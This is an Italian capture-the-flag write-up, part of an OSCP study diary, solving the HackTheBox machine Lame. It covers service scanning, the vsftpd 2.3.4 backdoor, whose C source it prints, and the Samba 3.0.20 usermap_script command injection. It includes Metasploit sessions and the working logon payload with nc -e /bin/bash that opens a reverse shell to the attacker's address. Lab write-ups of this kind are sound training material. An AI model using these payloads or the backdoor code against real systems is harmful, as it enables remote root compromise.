Introduzione#
Lame è una macchina Linux di difficoltà facile perfetta per approcciarsi ad HackTheBox (HTB). È stata la prima macchina pubblicata sulla piattaforma e rappresenta per molti il primo contatto con questo tipo di sfide.
L’obiettivo di questo writeup, così come quello della macchina che andrò a risolvere, è introdurre il lettore al mondo della macchine vulnerabili, mostrando un approccio strutturato e stratificato alla risoluzione dei problemi.
Affronterò inizialmente la macchina utilizzando Metasploit, uno dei framework più popolari nel contesto del penetration testing, che mette a disposizione numerosi strumenti ed exploit per lo sfruttamento di vulnerabilità note.
Successivamente mostrerò come individuare e utilizzare exploit disponibili pubblicamente, senza fare affidamento su framework automatizzati. Infine, fornirò un approfondimento sulle vulnerabilità individuate, spiegando nel dettaglio perché esistono e come possano essere sfruttate manualmente.
Questo articolo fa parte della serie Road to OSCP, il mio diario personale in cui documento il percorso di studio e l’esperienza maturata durante la preparazione alla certificazione OSCP di Offensive Security. Se sei interessato ad altri contenuti simili, ti invito a consultare la sezione dedicata alla serie.
Scansione porte#
Prima di provare qualsiasi forma di attacco è indispensabile avere una panoramica chiara dei servizi esposti dal server. La fase di enumerazione è spesso determinante per il successo di un attacco o, più in generale, la qualità di un penetration test.
Conoscere a fondo il bersaglio che si vuole attaccare consente di elaborare una strategia d’attacco solida e di concentrare gli sforzi sui punti critici.
Il mio approccio è in genere quello di individuare tutte le porte aperte tramite una scansione rapida con nmap, per poi approfondire l’analisi dei servizi individuati in un secondo momento. Questo permette di ottenere velocemente una panoramica iniziale e di focalizzarsi solo sui servizi rilevanti.
La seguente scansione con nmap rivela la presenza di cinque servizi esposti sull’host:
$ nmap -p- --min-rate=1000 -T4 $IP
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3632/tcp open distccd syn-ack ttl 63Procedendo con una scansione più approfondita, è possibile ottenere informazioni aggiuntive sul bersaglio, come le versioni dei software in esecuzione e altri dettagli utili per proseguire l’analisi:
$ nmap -sV -sC -p21,22,139,445,3632 --min-rate=1000 -T4 $IP
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.84
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/CQamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))Sulla base delle informazioni raccolte finora, è possibile riassumere i servizi individuati nella seguente tabella:
| Porta | Protocollo | Software | Versione | Note |
|---|---|---|---|---|
| 21 | FTP | vsftpd | 2.3.4 | Login anonimo |
| 22 | SSH | OpenSSH | 4.7p1 | OS: Ubuntu |
| 139 | SMB | Samba | 3.X - 4.X | - |
| 445 | SMB | Samba | 3.0.20 | - |
| 3632 | ? | distccd | v1 | OS: Ubuntu 4.2.4 |
Ora che abbiamo una panoramica dei servizi esposti, è possibile iniziare l’interazione diretta con ciascuno di essi, valutando cosa è consentito fare e quali informazioni aggiuntive possano essere raccolte. L’analisi proseguirà quindi servizio per servizio con l’obiettivo di individuare configurazioni deboli o versioni vulnerabili che possano essere sfruttate.
FTP (21)#
Sulla porta 21 è in esecuzione un server FTP basato su vsftpd 2.3.4 configurato per consentire l’accesso anonimo.
L’accesso anonimo è una funzionalità comune nei server FTP che consente la condivisione di risorse senza richiedere autenticazione. Sebbene non rappresenti di per sé una vulnerabilità, una configurazione troppo permissiva può esporre file sensibili o consentire operazioni non autorizzate.
Per accedere a un server FTP in modalità anonima è possibile utilizzare le seguenti credenziali:
| Username | Password |
|---|---|
| anonymous | anonymous |
| anonymous | |
| ftp | ftp |
Per accedere a un server FTP è necessario utilizzare un client compatibile con questo protocollo. Su distribuzioni orientate al penetration testing, come Kali Linux, è disponibile il client ftp che permette di stabilire una connessione al server come mostrato in seguito:
$ ftp $IP
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): anonymous
331 Please specify the password.
Password: anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>Una volta stabilita la connessione verifico il contenuto della directory accessibile all’utente anonimo:
ftp> ls -la
229 Entering Extended Passive Mode (|||39642|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 ..
226 Directory send OK.La directory esposta risulta vuota e non contiene file o informazioni utili a proseguire la risoluzione della macchina. Proseguo quindi analizzando le vulnerabilità note associate alla versione di vsFTPd installata.
CVE-2011-2523#
Quando si valuta la sicurezza di un sistema è sempre opportuno verificare sempre se le versioni dei software installati siano affette da vulnerabilità note. Una rapida ricerca con Google rivela che la versione di vsFTPd installata sull’host è vulnerabile alla CVE-2011-2523 la cui descrizione viene riportata di seguito:
vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.
Le versioni di vsFTPd 2.3.4 distribuite tra il 30-06-2011 e il 03-07-2011 includono una backdoor che permette a un attaccante di aprire una shell sulla porta TCP 6200 dell’host.
Metasploit#
L’approccio più immediato per sfruttare questa vulnerabilità è quello di utilizzare il framework Metasploit, che mette a disposizione un’ampia raccolta di moduli per attaccare vulnerabilità note.
Tramite l’opzione search <software> <version> è possibile cercare se sono disponibili dei moduli pronti all’uso:
msf6 > search vsftpd 2.3.4
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoorIn questo caso è disponibile il modulo vsftpd_234_backdoor che permette di attaccare la vulnerabilità individuata. Tramite l’opzione use <nome_modulo> è possibile importare il modulo per iniziare a utilizzarlo:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >Prima di attaccare la vulnerabilità è necessario specificare il bersaglio dell’attacco. Tramite l’opzione show options è possibile visualizzare i requisiti per lanciare l’exploit:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][..
.]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/u
sing-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.In questo caso l’unico valore richiesto è l’IP del server bersaglio. Per impostarlo si usa l’opzione set RHOST <target_ip> come mostrato in seguito. Per avviare l’exploit si può usare l’opzione exploit:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.Dall’output di Metasploit si nota che l’exploit sembra essere andato a buon fine, ma nessuna sessione è stata creata ovvero nessuna shell è stata aperta sul target.
Questo comportamento anomalo verrà approfondito in seguito nella sezione Extra, poiché richiede l’accesso locale alla macchina e privilegi elevati per proseguire l’analisi.
Exploit pubblico#
Quando si analizzano le vulnerabilità di un sistema, uno dei primi passi è quello di verificare l’esistenza di exploit documentati pubblicamente. Tramite lo strumento searchsploit è possibile consultare offline l’archivio di Exploit-DB:
$ searchsploit vsftpd 2.3.4
----------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
----------------------------------------------------------------- ---------------------------------
Shellcodes: No ResultsDalla ricerca emergono 2 exploit associati alla vulnerabilità, uno dei quali corrisponde al modulo Metasploit usato in precedenza. Tramite searchsploit -m <exploit_id> è possibile copiare un exploit nella directory di lavoro corrente per avviarlo o apportare modifiche qualora fosse richiesto:
searchsploit -m 49757Per lanciare l’exploit è necessario solo indicare l’indirizzo IP del bersaglio come nel caso di Metasploit:
python2 49757.py 10.10.10.3Anche in questo caso non si riceve alcuna risposta dal server e non si riesce a ottenere una shell sull’host.
Exploit manuale#
Non sempre le vulnerabilità note dispongono di exploit pubblici. Questo può rappresentare un forte deterrente per gli attaccanti meno esperti o poco motivati, che tendono spesso a orientarsi verso bersagli più semplici da compromettere.
Tuttavia, una volta che una vulnerabilità viene resa pubblica, è solo questione di tempo prima che un exploit venga rilasciato pubblicamente o che un attaccante particolarmente competente o motivato riesca a capire come sfruttarla.
Considerando uno scenario in cui non sono disponibili exploit pubblici per la vulnerabilità individuata, condurrò ora un’analisi approfondita della CVE-2011-2523.
La backdoor è stata inserita nel file str.c, all’interno della funzione str_contains_line() riportata di seguito:
int
str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
{
static struct mystr s_curr_line_str;
unsigned int pos = 0;
while (str_getline(p_str, &s_curr_line_str, &pos))
{
if (str_equal(&s_curr_line_str, p_line_str))
{
return 1;
}
else if((p_str->p_buf[i]==0x3a) // 0x3A = :
&& (p_str->p_buf[i+1]==0x29)) // 0x29 = )
{
vsf_sysutil_extra();
}
}
return 0;
}Nel blocco else if viene controllato se nel campo username sono presenti consecutivamente i caratteri 0x3A e 0x29 che corrispondono in ASCII rispettivamente a : e ).
Di conseguenza quando lo username contiene la sequenza :) (smile), viene invocata la funzione vsf_sysutil_extra(), definita nel file sysdeputil.c e riportata di seguito:
int
vsf_sysutil_extra(void)
{
int fd, rfd;
// Creazione del socket TCP
struct sockaddr_in sa;
if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
exit(1);
// Socket in ascolto sulla porta 6200 su tutte le interfacce
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6200);
sa.sin_addr.s_addr = INADDR_ANY;
if((bind(fd,(struct sockaddr *)&sa,
sizeof(struct sockaddr))) < 0) exit(1);
if((listen(fd, 100)) == -1) exit(1);
// Ciclo for infinito per accettare connessioni sulla porta aperta
for(;;)
{
rfd = accept(fd, 0, 0);
close(0); close(1); close(2);
dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
execl("/bin/sh","sh",(char *)0); // Apre una shell
}
}Questa funzione crea un socket TCP in ascolto sulla porta 6200 del server su tutte le interfacce di rete. Quando riceve una connessione sulla porta in ascolto, viene aperta una shell per l’utente consentendo l’esecuzione di comandi arbitrari sul server (RCE).
Provando ora a connettermi al server con lo username user:) e una password arbitraria, si nota che dopo aver inserito la password non si ottiene più una risposta dal server come avvenuto in precedenza:
$ ftp $IP
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): user:)
331 Please specify the password.
Password: passwordDopo aver atteso vari secondi, però il client chiude inaspettatamente la connessione con il server impedendo di ottenere una shell come descritto dalla vulnerabilità analizzata:
421 Service not available, remote server timed out. Connection closed.
ftp: Login failed
ftp> Scansionando con nmap la porta TCP 6200, essa risulta non essere raggiungibile:
$ nmap -p6200 $IP
PORT STATE SERVICE
6200/tcp filtered lm-xQuesto comportamento anomalo verrà approfondito in seguito nella sezione Extra, poiché richiede l’accesso locale alla macchina e privilegi elevati per proseguire l’analisi.
SMB (139,445)#
Sulla porta 139/445 è in esecuzione un server SMB basato su Samba 3.0.20 che consente l’accesso anonimo come nel caso del server FTP analizzato in precedenza.
Tramite una sessione anonima è possibile individuare le directory condivise dal server (shares) e individuare i permessi posseduti su esse.
Anche per accedere a un server SMB è richiesto un client compatibile con il protocollo. Su distribuzioni come Kali Linux è disponibile il software preinstallato smbclient che permette di stabilire una connessione al server e accedere a una directory condivisa.
In alternativa software come smbmap permettono di enumerare velocemente le directory condivise e di elencarne i permessi disponibili:
$ smbmap -H $IP
[+] IP: 10.10.10.3:445 Name: 10.10.10.3 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))Nella directory tmp sono disponibili permessi di lettura e scrittura con un accesso anonimo. Tuttavia dopo l’accesso non è stato individuato alcun file rilevante nella directory esposta.
CVE-2007-2447#
Una rapida ricerca con Google rivela che la versione di Samba installata sull’host è vulnerabile alla CVE-2007-2447 descritta di seguito:
The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the “username map script” smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.
Le versioni di Samba dalla 3.0.0 alla 3.0.25rc3un (incluse) inviano l’input dell’utente a /bin/sh senza validarlo prima dell’esecuzione. Questo permette a un utente autenticato di eseguire codice arbitrario sul server (RCE).
Metasploit#
msf6 > search Samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_scriptmsf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) >msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.122.198 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automaticmsf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.5
LHOST => 10.10.14.5
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.5:4444
[*] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.3:53413) at 2025-12-02 06:05:18 -0500
id
uid=0(root) gid=0(root)Exploit pubblic#
La ricerca con searchsploit mostra i seguenti exploit pubblici disponibili:
$ searchsploit Samba 3.0.20
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No ResultsL’unico exploit disponibile per questa vulnerabilità è il modulo Metasploit usato precedentemente. In questi casi è quindi necessario cercare exploit pubblici da altre fonti.
A scopo puramente didattico quando si risolve una macchina vulnerabile (qualunque sia la piattaforma che la ospita) è fortemente consigliato filtrare i risultati di ricerca in base alla data di pubblicazione. Questo permette di affrontare la macchina per come era stata pensata dall’autore senza il rischio di incontrare anticipazioni sulla risuluzione o exploit pubblicati a posteriori da altri utenti.
Nel caso di Lame la macchina è stata rilasciata su HackTheBox il 14 marzo 2017 quindi andrò a filtrare i risultati di ricerca di Google per individuare pagine web pubblicate prima di quella data. Dai primi risultati di ricerca non sembra esserci un exploit pubblico “pronto” per sfruttare questa vulnerabilità.
Analizzando il modulo Metasploit è però possibile dedurre come attaccarla estraendo il paylaod usato per ottenere la shell e provando un apporccio più manuale. Tramite il seguente payload è posssible ottenere una revese shell sull’host:
logon "/=`nohup nc -e /bin/bash 10.10.14.2 4444`"Exploit manuale#
Poiché non sono disponibili exploit pubblici per la vulnerabilità individuata, condurrò ora un’analisi approfondita della CVE-2007-2447.
La funzione smbrun() in /source/lib/smbrun.c non esegue correttamente l’escape della stringa cmd passata come argomento a execl(). A causa di questo problema un attaccante può iniettare comandi arbitrari eseguendo sul server /bin/sh sh -c [cmd]. Di seguito una versione stringata della funzione smbrun() utile a comprendere il punto di iniezione:
int smbrun(char *cmd, int *outfd)
{
pid_t pid;
uid_t uid = current_user.uid;
gid_t gid = current_user.gid;
// ...
execl("/bin/sh","sh","-c",cmd,NULL);
exit(82);
return 1;
}Dalla descrizione della vulnerabilità il pre-requisito per attaccarla con successo è quello di essere autenticati: in questo caso il server permette il login anonimo.
$ smbclient //$IP/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>Per ottenere una reverse shell dall’host è necessario mettersi in ascolto localmente sulla porta 4444 tramite nc come mostrato in seguito:
$ nc -lvp 4444
listening on [any] 4444 ...Inviando ad il seguente payload si ottiene una shell sul target:
smb: \> logon "/`nc -e /bin/bash 10.10.14.6 4444`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \>$ nc -lvp 4444
listening on [any] 4444 ...
10.10.10.3: inverse host lookup failed: Unknown host
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.3] 53346
id
uid=0(root) gid=0(root)User flag#
Una volta ottenuta la reverse shell sull’host è possibile leggere la prima flag salvata nel file /home/makis/user.txt.
Root flag#
Dall’output del comando id mostrato in precedenza si nota che la shell ottenuta ha massimi privilegi sulla macchina. Questo permette di leggere anche l’ultima flag salvata nel file /root/root.txt
Extra#
Ora che ho ottenuto l’accesso locale alla macchina come utente root posso invesitgare sul perché non è stato possibile sfruttare la backdoor in vsFTPd 2.3.4.
Tramite netstat vengono mostrati le porte in ascolto sul server e i relativi servizi in esecuzione. Filtrando l’output con grep si nota che la porta 6200 TCP è stata correttamente aperta come previsto:
$ netstat -ltunp | grep 6200
tcp 0 0 0.0.0.0:6200 0.0.0.0:* LISTEN 10198/vsftpd Tuttavia tramite iptables si scopre che sul server è attivo il firewall UFW (Uncomplicated Firewall) che impedisce la connessione dall’esterno alla porta 6200. Dall’outptut si scopre che solo le seguenti porte sono raggiungibili dall’esterno e queste coincidono con quelle individuate precedentemente con la scansione nmap del server:
$ iptables -L -v -n
...
Chain ufw-user-input (1 references)
pkts bytes target prot opt in out source destination
94 4488 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:22
324 15532 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:21
15 788 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:3632
0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:3632
40 2128 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:139
0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:139
387 18916 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:445
0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:445
599K 26M RETURN all -- * * 0.0.0.0/0 0.0.0.0/0